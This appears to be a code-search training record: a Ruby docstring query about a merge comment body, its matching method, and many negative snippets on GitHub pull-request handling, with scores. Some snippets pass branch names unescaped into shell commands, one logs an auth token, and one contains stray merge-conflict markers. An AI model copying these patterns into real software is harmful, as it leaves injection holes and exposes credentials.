test_merge_pull_request(pull_request['number'], repo, s)\n end\n repo_to_pull_request.each do |repo, pull_request|\n $stderr.puts \"\\n*******Merging pretested pull request: #{GITHUB_BASE_URL}/#{Properties['github_user']}/#{repo}/pull/#{pull_request['number']} \"\n merge_pull_request(pull_request['number'], repo, s, build_url)\n end\n rescue Exception => e\n $stderr.puts e.message\n $stderr.puts e.backtrace\n end\n end\n end\n break\n end\n end\n end\n end\n end\n\n end",
"def update_comment_text(story_data, bug_task, build_number)\n txt = String.new(FIXED_COMMENT_PREFIX) # comment should always begin with this\n txt << \"Fixed in Git and deployed with build #{build_number}\"\n\n if (story_data.current_state != 'finished' && story_data.current_state != 'delivered' && story_data.current_state != 'accepted')\n txt << \"\\n\\nNOTE: this story is not in the expected status 'Finished'... please verify and update status if necessary\"\n end\n txt\n end",
"def add_comment\n @issue.comment @user_message.empty? ? @message : @user_message\n end",
"def merge(merge_branch, options = {})\n merge_analysis = rugged.merge_analysis(merge_branch.name)\n if merge_analysis.include?(:fastforward)\n rugged.references.update(helper.head_ref, merge_branch.target_id)\n rugged.checkout_head(strategy: :force)\n elsif merge_analysis.include?(:normal)\n ours = helper.head_target\n theirs = merge_branch.target\n merge_base = rugged.merge_base(ours, theirs)\n raise(NoCommonCommit) unless merge_base\n\n base = rugged.rev_parse(merge_base)\n index = ours.tree.merge(theirs.tree, base.tree)\n\n commit_message =\n if index.conflicts?\n raise(MergeConflict) unless block_given?\n\n message = yield(index, rugged, helper.working_directory)\n raise(MergeConflict) unless message\n\n index.conflict_cleanup\n message\n else\n \"Merge branch '#{helper.head_branch.name}' of #{helper.head_remote.url}\"\n end\n\n helper.commit_create(\n commit_message,\n index.write_tree(rugged),\n [ours, theirs],\n options\n )\n rugged.checkout_head(strategy: :force)\n end\n\n self\n end",
"def shouldnt_count_as_a_contribution?\n merge? || backported_from_master?\n end",
"def merge_branch_to_master(branch, tag, message, repo_path)\n\tDir.chdir(repo_path) do |path|\n\t\tcmds = [\n\t\t\t\t\"git checkout master\",\n\t\t\t\t\"git merge --no-ff -Xtheirs #{branch}\",\n\t\t\t\t\"git tag -a -f #{tag} -m '#{message}'\"\n\t\t\t\t]\n\t\tcmds.insert(0, \"git branch master origin/master\") unless branch_exists?(path, \"master\")\n\t\tapprove_and_execute(cmds, \"in #{path}\")\n\tend\nend",
"def merged?\n !!merge_ticket_id\n end",
"def approve_mr\n body = \"approved this merge request\"\n\n create_note(NoteSummary.new(noteable, project, author, body, action: 'approved'))\n end",
"def line_for pull_request, with_image\n img = if with_image\n image \"Status of ##{pull_request.number}\", status_image(pull_request)\n end\n\n suffix = img ? (\" \" + img) : \"\"\n link_to(pull_request.title, pull_request.html_url) + suffix\n end",
"def open_pull_request\n outgoing_pull_requests.find(&:open?)\n end",
"def add_pr_comment(pull_comments_url,comment_body)\n url = pull_comments_url\n payload = {\n body: \"#{comment_body}\"\n }\n RestClient.post(\n url,\n payload.to_json,\n @git_headers\n )\n end",
"def merge(branch_name)\n remote_commit = last_commit(remote_branch_from_local(branch_name))\n\n @rugged_repository.references.update(rugged_repository.head, remote_commit.oid)\n end",
"def git_pull\n if `git branch -a` =~ /remotes\\/#{@remote}\\/#{@branch}/ ||\n `git ls-remote #{@remote}` =~ /refs\\/heads\\/#{@branch}/\n `git pull #{@remote} #{@branch}`\n end\n end",
"def state\n if merged\n Statistic::MERGED\n else\n issue['state']\n end\n end",
"def merge_pr_totarget(upstream, pr_branch)\n goto_prj_dir\n check_git_dir\n `git checkout #{upstream}`\n check_duplicata_pr_branch(\"#{pr_fix}#{pr_branch}\")\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b #{pr_fix}#{pr_branch} origin/#{pr_branch}`\n return if $CHILD_STATUS.exitstatus.zero?\n\n # if it fails the PR contain a forked external repo\n repo_external.checkout_into\n end",
"def comment?; end",
"def comment?; end",
"def create_review_comment(repo, pull_number, body, commit_id, path, options = {})\n opts = options.dup\n opts[:body] = body\n opts[:commit_id] = commit_id\n opts[:path] = path\n post \"#{Repository.path repo}/pulls/#{pull_number}/comments\", opts\n end",
"def pull_request_attributes\n {\n title: title,\n destination_branch: destination_branch,\n source_branch: git.current_branch,\n pivotal_ids: pivotal_ids,\n jira_ids: jira_ids,\n editor: options[:editor]\n }\n end",
"def merge?(owner, repo, number)\n\t\t\tPullRequests.get(\"/repos/#{owner}/#{repos}/pulls/#{number}/merge\", headers: @auth)\n\t\tend",
"def check_conflict()\n check_results = []\n\n repo_name = github.pr_json[:base][:repo][:full_name]\n\n pull_requests = github.api.pull_requests(repo_name).select do |pr|\n pr[:id] != github.pr_json[:id] && pr[:base][:label] == github.pr_json[:base][:label]\n end\n\n return check_results if pull_requests.empty?\n\n g = Git.open(Dir.pwd)\n\n pull_requests.each do |pr|\n result = {\n pull_request: pr,\n mergeable: true,\n conflicts: []\n }\n\n uuid = SecureRandom.uuid\n\n r = g.add_remote(uuid, pr[:head][:repo][:ssh_url])\n r.fetch()\n\n branch1 = github.pr_json[:head][:ref]\n branch2 = \"#{uuid}/#{pr[:head][:ref]}\"\n\n base = `git merge-base #{branch1} #{branch2}`.chomp\n\n Tempfile.open('tmp') do |f|\n patch = `git format-patch #{base}..#{branch2} --stdout`.chomp\n f.sync = true\n f.puts patch\n out, s = Open3.capture2e(\"git apply --check #{f.path}\")\n\n out.each_line do |line|\n\n if 'patch failed' == line.split(':')[1].strip\n conflict = {\n file: line.split(':')[2].strip,\n line: line.split(':')[3].strip.to_i\n }\n result[:conflicts] << conflict\n end\n end\n\n result[:mergeable] = result[:conflicts].empty?\n end\n\n g.remove_remote(uuid)\n\n check_results << result\n end\n\n check_results\n end",
"def add_comment_to_issue(issue, author)\n comment= RemoteComment.new(\"#{Time.now} , #{author} make a commit on this issue\")\n @tracker.addComment(issue.key,comment)\n end",
"def hash_tag_comments_issue(pr)\n ccs = commit_comments(pr)\n prcs = pr_comments(pr)\n ics = issue_comments(pr)\n (ccs + prcs + ics).reduce(0) do |acc, ic|\n unless ic[:body].nil?\n acc + ic[:body].gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).\\\n select do |x|\n !pull_request?(pr, x[0].to_i)\n end.size\n else\n acc\n end\n end\n end",
"def uri_string_for_comments_on_pull(id)\n uri_parts(\n \"/repos/#{@github_user}/#{@github_repo}/issues/#{id}/comments\"\n ).values.join\n end",
"def include other_branch\n Dir.chdir @root do\n cmd = \"git merge --no-ff --no-commit \\\"#{other_branch}\\\"\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n if /Not a git repository/.match stderr\n raise NotARepositoryError\n elsif /Automatic merge failed/.match stdout\n return false\n else\n raise Error, stderr\n end\n end\n end\n return true\n end",
"def merge_conflict?; end",
"def push\n @client.add_comment(repo, pull, comments.join(\"\\n\\n\")) unless comments.empty?\n comments_by_file.each do |file_diff_index, comments|\n file, diff_index = parse_location(file_diff_index)\n body = comments.join(\"\\n\\n\")\n\n @client.create_pull_comment(repo, pull, body, diff.head, file, diff_index)\n end\n end",
"def pull_request_attachment\n Attachment.with(\n title: \"Pull Requests\",\n text: pull_requests.map do |pr|\n url = github.pull_request(pr.fetch(:pr_number))\n \"<#{url}|#{pr.fetch(:pr_number)}> - #{pr.fetch(:name)}\"\n end.join(\"\\n\"),\n color: \"#FFCCB6\"\n )\n end",
"def waiting_for_stable_build_comment_segment(branch, settings)\n \"#{CONTENT_WAITING_STABLE_BUILD} '#{branch_settings(branch, settings)['downstream_job_name']}'\"\nend",
"def merge_print_count\n @merge.print_count\n=======\n @sortmethod = Mergesort.new\n @sortmethod.init(array)\n statistics_sort(Flag_Sort::MERGE)\n>>>>>>> develop:aps-pota_metodos-ordenacao/controllers/merge_controller.rb\n end"
] |
[
"0.7409496",
"0.63568985",
"0.6161169",
"0.61583644",
"0.6150832",
"0.6143341",
"0.6127195",
"0.60721743",
"0.60589993",
"0.60483885",
"0.59628236",
"0.5961935",
"0.5938742",
"0.592906",
"0.5871834",
"0.5865231",
"0.58555573",
"0.5844824",
"0.57922125",
"0.5788477",
"0.57432413",
"0.5742974",
"0.57313126",
"0.5716587",
"0.57150495",
"0.56972134",
"0.5671342",
"0.5637651",
"0.5606706",
"0.55739987",
"0.5567887",
"0.5566305",
"0.556327",
"0.5560545",
"0.5557753",
"0.55572325",
"0.55222654",
"0.5520487",
"0.55173135",
"0.5515551",
"0.5492661",
"0.54827756",
"0.5474832",
"0.54742706",
"0.5472983",
"0.545225",
"0.5443222",
"0.5432509",
"0.5399939",
"0.5399476",
"0.5398704",
"0.53956425",
"0.5387159",
"0.5377075",
"0.53724706",
"0.53724706",
"0.53708494",
"0.53690153",
"0.53597116",
"0.53573394",
"0.5355474",
"0.5348349",
"0.53465873",
"0.53443986",
"0.5314236",
"0.5311097",
"0.5292916",
"0.52785754",
"0.52646947",
"0.52641577",
"0.5261874",
"0.52589786",
"0.52418685",
"0.52412593",
"0.5231679",
"0.52256286",
"0.5224531",
"0.5222845",
"0.52206194",
"0.5219335",
"0.521842",
"0.5216907",
"0.5198103",
"0.5189894",
"0.51873446",
"0.5180655",
"0.5180655",
"0.5178373",
"0.51704794",
"0.5154989",
"0.5147902",
"0.51467735",
"0.51434225",
"0.5138851",
"0.5131908",
"0.512154",
"0.51131916",
"0.5090444",
"0.50890434",
"0.50860375"
] |
0.80927455
|
0
|
Public: The content of the comment to post when merged Returns a String
|
def comment_body
body = "Merged into #{branch_to_merge_into}."
if options[:user_notifications]
body << " /cc #{options[:user_notifications].map {|name| "@#{name}"}.join(' ')}"
end
body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comments_text\n return self.comments.inject(\"\") do |string, comment| \n string + \n (string.empty? ? \"\" : \"\\n\") +\n comment.email +\n \": \" +\n comment.message\n end\n end",
"def workflow_comment_content(comment)\n comment.comment.gsub(/\\r?\\n/, '<br>').html_safe\n end",
"def comment_about_merge\n pull_request.write_comment comment_body\n end",
"def html_text\n \"<p class='story-comment-text'>\" + self.text.split(\"\\n\").join(\"</p><p class='story-comment-text'>\") + \"</p>\"\n end",
"def body_for_comment(comment, site)\n if site == :github\n username = '@' + comment[:author]\n else\n username = comment[:author]\n end\n \n formatted_date = comment[:date].strftime(\"%Y-%m-%d at %H:%M (UTC)\")\n header = \"comment originally posted by #{username} on #{formatted_date}, \"\\\n \"and migrated by the [Motherforker](https://github.com/ExplodingCabbage/motherforker).\\n\\n\"\\\n \"Original comment: #{comment[:url]}\\n\\n\"\\\n \"----------------------------------------------\\n\\n\"\n \n return header + comment[:body]\n end",
"def combined_content\n output = @other_content_top ? \"#{@other_content_top.join(\"\\n\")}\\n\" : ''\n was_color = Color.coloring?\n Color.coloring = false\n @content.dedup!(match_section: true)\n output += @content.to_s\n output += @other_content_bottom.join(\"\\n\") unless @other_content_bottom.nil?\n # Just strip all ANSI colors from the content before writing to doing file\n Color.coloring = was_color\n\n output.uncolor\n end",
"def make_comment( content )\n\t\treturn [\n\t\t\tself.options[:comment_start],\n\t\t\tcontent,\n\t\t\tself.options[:comment_end],\n\t\t].join\n\tend",
"def to_rawtext\n res = []\n begin\n res << author\n res << message\n res << tags\n res << comments\n if (comms = comment_thread) && !comms.empty?\n res << comms.map{|c| c.text if c.respond_to?(:text)}\n end\n res << liked_by if liked_by && !liked_by.empty?\n if d = parsed_attachment_data\n res << d['name']\n res << d['description'] unless d['description'] && d['description']['<div'] # avoid html b.s.\n res << d['caption']\n end\n rescue\n end\n res.flatten.join(' ')\n end",
"def to_s\n output = \n 'COMMENT:' + \"\\n\" +\n 'AUTHOR: ' + self.author.author_name + \"\\n\" +\n 'EMAIL: ' + self.comment_email + \"\\n\" +\n 'IP: ' + self.comment_ip + \"\\n\" +\n 'URL: ' + self.comment_url + \"\\n\" +\n 'DATE: ' + self.comment_created_on.strftime(EXPORT_DATE_FORMAT) + \"\\n\" +\n self.comment_text + \"\\n\" +\n ATTRIBUTE_BREAK\n output\n end",
"def as_comment_body\n\t\treturn self.inspect\n\tend",
"def comment\n return @comment\n end",
"def comment\n return @comment\n end",
"def full_content\n result = <<END\n Message from: #{@name}\n\n Phone: #{@phone}\n Email: #{@email}\n %=====================================%\n\n #{self.content}\nEND\n result\n end",
"def to_s\n @content.chomp\n end",
"def retrieve_comment_body(tk)\n if :on_embdoc == tk[:kind]\n tk[:text].gsub(/\\A=begin.*\\n/, '').gsub(/=end\\n?\\z/, '')\n else\n tk[:text]\n end\n end",
"def format_article_comment(comment)\n str = String.new\n date_format = '%B %d, %Y'\n unless(comment.new_record? or comment.comment_date.nil?)\n date = comment.comment_date.strftime(date_format)\n str = %Q{ <div class='blog-comment'>\n Comment posted #{date == DateTime.now.strftime(date_format) ? 'today' : 'last ' + date} #{comment.comment_date.strftime(\"%I:%M:%S %p\")} by #{comment.email}\n <br/>\n <div id='comment-#{comment.id}' class='comment-body'>\n #{comment.body}\n </div>\n #{link_to 'Hide', \"javascript:display('hide', #{comment.id})\", :id => \"clink-#{comment.id}\"}\n </div> }\n end\n return str\n end",
"def comment(value)\n merge(comment: value.to_s)\n end",
"def stringify\n matter + excerpt + content\n end",
"def content\n rebundle if needs_rebundle?\n @content ||= self.to_a.join\n end",
"def comment_body\n if read_attribute('comment_body') =~ COMMENT_BODY_PARSER\n $2\n else\n read_attribute('comment_body')\n end\n end",
"def to_s\n format 'remark %s', tag_remark(@comment.to_s)\n end",
"def content\n @content ||= parts.map(&:body).join(\"\\n\")\n end",
"def description\n comment_sections.first\n end",
"def formatted_body\n\t\tcase self.text\n\t\t\twhen \"space_created\"\n\t\t\t\treturn \"Space created, \\'#{self.reference.name}\\'\"\n\t\t\twhen \"discussion_created\"\n\t\t\t\treturn self.reference.body\n\t\t\twhen \"comment_created\"\n\t\t\t\treturn self.reference.body\n\t\tend\t\t\n\tend",
"def comment_body(comment=@comment)\n filter(comment.body, *Wink.comment_filters)\n end",
"def comment_body(comment=@comment)\n filter(comment.body, *Wink.comment_filters)\n end",
"def commentString\n if(comments.length <= 0)\n return 'No hay comentarios'\n else\n return ''\n end\n end",
"def prepare_comment_text(comment)\n simple_format comment.body\n # raw comment.body.split(\"\\n\").map(&:squish).reject(&:blank?).map { |s| parse_common_string s }.join\n end",
"def comment(comment_hash)\n time = Time.parse(comment_hash[:updated]).strftime('%b %d %H:%m')\n author = set_color(\" -- #{comment_hash[:author][:name]}\", :cyan)\n byline = \"#{author} | #{time}\\n\"\n\n [comment_hash[:body], byline].join(\"\\n\")\n end",
"def get_comment\n\t\treturn @comment\n\tend",
"def to_s\n content.to_s\n end",
"def to_s\n content.to_s\n end",
"def html_content\n content.gsub(/\\n/, '<br/>').html_safe\n end",
"def format_comment(comment)\n comment\n end",
"def to_s\n @content.to_s\n end",
"def comment\n @comment\n end",
"def return_comment\n @comments\n end",
"def retrieve_article_comments(article, first = false)\n str = String.new\n if first\n str << \"<div style='text-align: center'>#{link_to 'Hide Comments', \"javascript:displayAll('hide', 'blog-comments')\", :id => \"clink\"}</div>\"\n str << \"<div id='blog-comments' class='blog-comments'>\"\n str << \"<h2 class='blog-title'>Comments</h2>\"\n end\n article.comments.each do |comment|\n str << format_article_comment(comment)\n end\n str << \"</div>\" if first\n return str\n end",
"def extract_content(post_content)\n doc = Hpricot(post_content)\n html = ''\n if (doc % :blockquote)\n parts = (doc % :blockquote).children\n quoting = false\n bcount = 0\n\n if parts.size > 2\n parts[2..-1].each do |child|\n br = child.to_s == '<br />'\n bcount = br ? bcount + 1 : 0\n if bcount > 2\n quoting = !quoting\n html += quoting ? \"<p><blockquote>\" : \"</blockquote></p>\"\n bcount = 0\n else\n html += child.to_s\n end\n end\n\n html += '</blockquote></p>' if quoting\n html = html.gsub('<br /><br /><blockquote>', '<blockquote>')\n html = html.gsub('<br /><br /></p>', '</p>')\n html = html.gsub('<p><br />', '<p>')\n end\n end\n end",
"def get_commented_text(str)\n get_commented_lines(str).join(\"\\n\")\n end",
"def to_s\n \"#{open}#{content}#{close}\"\n end",
"def to_s\n @content\n end",
"def formatted_content\n formatted_content = public_content\n return formatted_content unless formatted_content\n\n # formatted_content = formatted_content.gsub(/<img (.*?)\\/?>/im, '')\n\n # Format returns to line\n formatted_content = formatted_content.gsub(/\\<br\\>/im, '@@').gsub(/\\<p\\>/im, '@@')\n formatted_content = ActionController::Base.helpers.strip_tags(formatted_content)\n formatted_content = formatted_content.gsub(/@@/im, '<br>')\n\n return formatted_content\n end",
"def to_s\n @content\n end",
"def to_s\n content\n end",
"def to_s\n content\n end",
"def default_root_comment_content\n '收藏了这个愿望'\n end",
"def short_content\n if self.content.include?(PAGEBREAK)\n # Also look for pagebreaks wrapped in paragraph tags\n if self.content.include?(\"<p>#{PAGEBREAK}</p>\")\n pagebreak_pos = self.content.index(\"<p>#{PAGEBREAK}</p>\")\n else\n pagebreak_pos = self.content.index(PAGEBREAK)\n end\n c = close_tags(self.content[0, pagebreak_pos])\n end\n return c || self.content\n end",
"def processed_content\n self.read_attribute(:processed_content).html_safe\n end",
"def getComments(list)\r\n comments = \"\"\r\n dbg(\"Kommentarer:\")\r\n list.each { |s| \r\n dbg(\"Kommentar:\")\r\n dbg(s)\r\n dbg(s[\"comment\"])\r\n \tcomments = comments + \"<p>\" + s[\"author_name\"] + \":\" + s[\"comment\"] + \"</p>\"\r\n \tdbg(s[\"comment\"])\r\n }\r\n return comments\r\nend",
"def getComments(list)\r\n comments = \"\"\r\n dbg(\"Kommentarer:\")\r\n list.each { |s| \r\n dbg(\"Kommentar:\")\r\n dbg(s)\r\n dbg(s[\"comment\"])\r\n \tcomments = comments + \"<p>\" + s[\"author_name\"] + \":\" + s[\"comment\"] + \"</p>\"\r\n \tdbg(s[\"comment\"])\r\n }\r\n return comments\r\nend",
"def as_comment_body\n\t\treturn \"Published %d nodes as %s\" % [ self.subnodes.length, self.key ]\n\tend",
"def footer_content(message)\n %Q{The \"#{label}\" mailing list\\nPost messages: #{post_url}}\n end",
"def concat_content(text = '') \n if self.respond_to?(:is_haml?) && is_haml?\n haml_concat(text)\n elsif erb_buffer?\n buffer_concat(text)\n else # theres no template to concat, return the text directly\n text\n end\n end",
"def content(value)\n merge(content: value.to_s)\n end",
"def content(value)\n merge(content: value.to_s)\n end",
"def text_for_post(post)\n post.render(site.layouts, site.site_payload)\n\n doc = Nokogiri::HTML(post.output)\n doc.css('script').remove().css('#doc_nav').remove()\n\n # one line it\n doc.text.gsub(/[\\r\\n\\s]+/,\" \")\n end",
"def comment\n upgrade_to_v2 \n return read_attribute(:comment)\n end",
"def chunks\n self.comment.split(\"\\n\")\n end",
"def content\n @node.children\n .map { |child| child.name == 'br' ? \"\\n\" : child.inner_text }\n .join('')\n .gsub(/\\s*\\n\\s*/, \"\\n\") # Only keep a single consecutive linebreak\n end",
"def concat_content(text=\"\") \n if self.respond_to?(:is_haml?) && is_haml?\n haml_concat(text)\n elsif has_erb_buffer?\n erb_concat(text)\n else # theres no template to concat, return the text directly\n text\n end\n end",
"def concat_content(text=\"\")\n if self.respond_to?(:is_haml?) && is_haml?\n haml_concat(text)\n elsif has_erb_buffer?\n erb_concat(text)\n else # theres no template to concat, return the text directly\n text\n end\n end",
"def to_s\n @content.inspect\n end",
"def combineLines(theLines)\n\n\ttheText = \"\";\n\t\n\ttheLines.each do |theLine|\n\t\ttheText += theLine[:text] + theLine[:comment] + \"\\n\";\n\tend\n\n\treturn theText;\n\nend",
"def tag_content\n return @tag_content\n end",
"def content_description\n @content ? \"with content #{@content.inspect}\" : \"\"\n end",
"def compose_bot_comment(prefix, comment_data={})\n # Derive comment data content from state, if needed\n if comment_data[:state] && (comment_data[:content].nil? ||\n # Don't overwrite the content if it matches the state already\n !comment_data[:content].start_with?(STATE_TO_CONTENT[comment_data[:state]]))\n comment_data[:content] = STATE_TO_CONTENT[comment_data[:state]]\n end\n updated_comment = \"#{prefix} #{comment_data[:content]}\"\n BOT_COMMENT_FIELDS.each do |field_key, field_prefix|\n if comment_data[field_key] && (!comment_data[field_key].empty?)\n field_data = comment_data[field_key]\n updated_comment += if field_data.start_with? '('\n \" #{field_data}\"\n else\n if field_key == :build_url\n \" (#{field_data})\"\n else\n \" (#{field_prefix} #{field_data})\"\n end\n end\n end\n end\n updated_comment\nend",
"def show_comments_for_post(comments)\n \n html = %()\n unless comments.empty?\n html << content_tag(:h3, \"<br /> Comentários Relacionadas : #{comments.size}<hr /><br/>\".html_safe) \n comments.each { |comment| html << render(:partial => '/admin/comments/comment', :locals => { :comment => comment }) }\n else\n html << content_tag(:h3, \"<br /> Sem comentários !\".html_safe)\n end #end unless\n\n html.html_safe\n end",
"def comment_string\n @comment_syntax.string_for_method_entity self\n end",
"def content\n return @content\n end",
"def content\n return @content\n end",
"def content\n return @content\n end",
"def content\n return @content\n end",
"def content\n return @content\n end",
"def content\n return @content\n end",
"def description\n initial_comment.try(:text) || \"\"\n end",
"def get_complete_text\n text = @header.dup\n text.concat(\".\\n\\n\")\n text.concat(@body)\n end",
"def content\n return @content_ unless @content_.nil?\n @note.nil? and get\n @content_ = !@note.nil? && !@note.guid.nil? ? @auth_store.note_store.getNoteContent(@auth_store.auth_token, @note.guid) : \"\"\n end",
"def format_comment(comment, opts={})\n opts[:comment] ||= comment\n text = escape_code_html(comment.body.blank? ? '[Deleted]' : comment.body)\n formatted = Hpricot(p_wrap(text))\n clean_code_breaks(formatted)\n clarify_external_links(formatted)\n text = sanitize(formatted.to_html, :tags => allowed_tags(opts[:truncate]), :attributes => allowed_attributes)\n hpricot = Hpricot(text)\n hpricot.each_child do |child|\n child.set_attribute('class', opts[:class] || 'commentContent') if child.elem?\n end \n opts[:truncate] ? truncate_html(hpricot.to_s, opts[:truncate]) : hpricot.to_s\n end",
"def to_s # {{{\n c = wrap( self.content.to_s.chomp )\n t = wrap( self.title.to_s.chomp )\n\n<<EOS\n|^\\___________________ [ #{self.source.to_s } ] _________________________________/^|\n\n\\t'#{t}'\n\n\\t#{c}\n\n|/^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\|\n\nEOS\n end",
"def content\n @content ||= body.split(/\\r?\\n/, 2)\n end",
"def content\n @content ||= parts.map(&:response).join(\"\\n\")\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def cmt\n @cmt_procs.call('Committing')\n self\n end",
"def content(tweet)\n render_to_string partial: 'tweet', locals: {\n media_source: tweet.media_url,\n creation_time: tweet.creation_time,\n tweet_link: tweet.link\n }\n end",
"def content\n lines.uniq.join(\"\\n\").lstrip\n end",
"def body\n @note.content\n end",
"def to_text\n return \"\" unless content\n content.to_text\n end",
"def to_s\n self.header + ' ' + @body.join(\"\\n \") + self.footer\n end",
"def getContent() \n return @obj.getContent().toString()\n end",
"def body\n if author\n \"**#{author}**: #{text}\"\n else\n text\n end\n end",
"def to_s\n output || content || \"NO CONTENT\"\n end",
"def lastComment\n separator = \" \"\n result = \"\"\n result = \"#{@comment}\" if @comment\n if @annotation and $enableInstrAnnotations\n result += separator if result != \"\"\n result += \"#{@annotation}\"\n end\n if @internalComment\n result += separator if result != \"\"\n result += \"#{@internalComment}\"\n end\n if @codeOrigin and $enableCodeOriginComments\n result += separator if result != \"\"\n result += \"#{@codeOrigin}\"\n end\n if result != \"\"\n result = $commentPrefix + \" \" + result\n end\n\n # Reset all the components that we've just sent to be dumped.\n @commentState = :none\n @comment = nil\n @annotation = nil\n @codeOrigin = nil\n @internalComment = nil\n result\n end",
"def comment\n if object.paymentterm && object.paymentterm.description\n object.paymentterm.description\n else\n object.comment\n end\n end",
"def raw_post\n repo = repo_url\n post = <<-HERE\n+ Repo: [#{repo}](#{repo})\n+ 耗时: #{checkin.time_spent}h\n+ 难度: #{diffculty_text}\n\n课程遇到的问题和解决方法:\n\n#{checkin.feedback}\nHERE\n end",
"def to_s\n output || content || \"\"\n end",
"def commit_message\n commit_message_lines.join\n end",
"def merge other_entry\n options = {\n :extracted_comment => merge_string(@extracted_comment,\n other_entry.extracted_comment),\n :translator_comment => merge_string(@translator_comment,\n other_entry.translator_comment),\n :references => merge_array(@references,\n other_entry.references),\n :flags => merge_array(@flags,\n other_entry.flags),\n }\n self.class.new(@msgid, options)\n end"
] |
[
"0.7035852",
"0.6770592",
"0.6544364",
"0.63454217",
"0.62512326",
"0.61885184",
"0.614223",
"0.6141876",
"0.61340946",
"0.60679317",
"0.6042618",
"0.6042618",
"0.60395515",
"0.60209167",
"0.60157984",
"0.5981822",
"0.59584504",
"0.5925789",
"0.58902425",
"0.58479965",
"0.5829849",
"0.5754856",
"0.5750895",
"0.5707089",
"0.5699144",
"0.5699144",
"0.5689548",
"0.5683045",
"0.5655182",
"0.5616005",
"0.56045467",
"0.56036323",
"0.5595555",
"0.55923885",
"0.5591714",
"0.5587149",
"0.5579628",
"0.5547288",
"0.5540851",
"0.55375504",
"0.5535135",
"0.5521503",
"0.55087954",
"0.5506698",
"0.5488152",
"0.5488152",
"0.54484653",
"0.5441472",
"0.54056",
"0.5404392",
"0.5404392",
"0.5385373",
"0.5382108",
"0.5375854",
"0.5374845",
"0.5374845",
"0.53684086",
"0.535754",
"0.53434443",
"0.53396803",
"0.53302723",
"0.5326803",
"0.53065276",
"0.5306172",
"0.53041434",
"0.52895546",
"0.5286574",
"0.5284774",
"0.52786297",
"0.5277522",
"0.5277522",
"0.5277522",
"0.5277522",
"0.5277522",
"0.5277522",
"0.52772796",
"0.526319",
"0.52486634",
"0.5245996",
"0.5238708",
"0.5238216",
"0.52368623",
"0.52316344",
"0.52316344",
"0.52316344",
"0.523101",
"0.521676",
"0.5210249",
"0.5201451",
"0.52007455",
"0.52003956",
"0.5197432",
"0.5192842",
"0.5189892",
"0.5185308",
"0.51835567",
"0.51784444",
"0.517841",
"0.5177164",
"0.5175189"
] |
0.69074804
|
1
|
Public: Find the pull request Returns a GitHub::PullRequest
|
def pull_request
@pull_request ||= GitHub::PullRequest.new config.github_repo, pull_request_id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_pull_request(repo_full_name, pull_request_id)\n @client.pull_request(repo_full_name, pull_request_id)\n end",
"def pull_request\n @pull_request ||= ApiFactory.new 'Repos::PullRequest'\n end",
"def get_pull_request(project_id_or_key, repository_id_or_name, pull_request_number)\n get(\"projects/#{project_id_or_key}/git/repositories/#{repository_id_or_name}/pullRequests/#{pull_request_number}\")\n end",
"def pull_request(repo, number, options = {})\n get \"#{Repository.path repo}/pulls/#{number}\", options\n end",
"def get_pull_request(pr_id)\n r = BB.get(\"#{BB_API_BASE}/pull-requests/#{pr_id}\")\n raise \"Gotta Problem: #{r.reason_phrase}\" unless 'OK' == r.reason_phrase\n return JSON.parse(r.body)\nend",
"def pull_request(branch_name, m = nil)\n Retryable.do { api.pull_requests.list(api.user, api.repo) }.find { |pr| pr[\"head\"][\"ref\"] == branch_name }\n rescue Github::Error::ResourceNotFound\n if m\n m.user.msg \"sorry, but an error occurred while fetching your pull request\"\n end\n end",
"def pull_requests_from_github\n @github.search_issues(\"is:pr state:open user:#{ORGANISATION}\").items\n end",
"def single_pull_request(repo, pull_request_number)\n response = self.class.get(\"/repos/#{owner}/#{repo}/pulls/#{pull_request_number}\", options)\n\n return_value_for response\n end",
"def open_pull_request\n outgoing_pull_requests.find(&:open?)\n end",
"def set_pull_request\n @pull_request = PullRequest.find(params[:id])\n end",
"def pull_request(_input)\n puts 'TODO: Implement Git.pull_request'\n # TODO: Validate input\n # input[:issue].to_s\n # input[:base_branch].to_s\n end",
"def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next 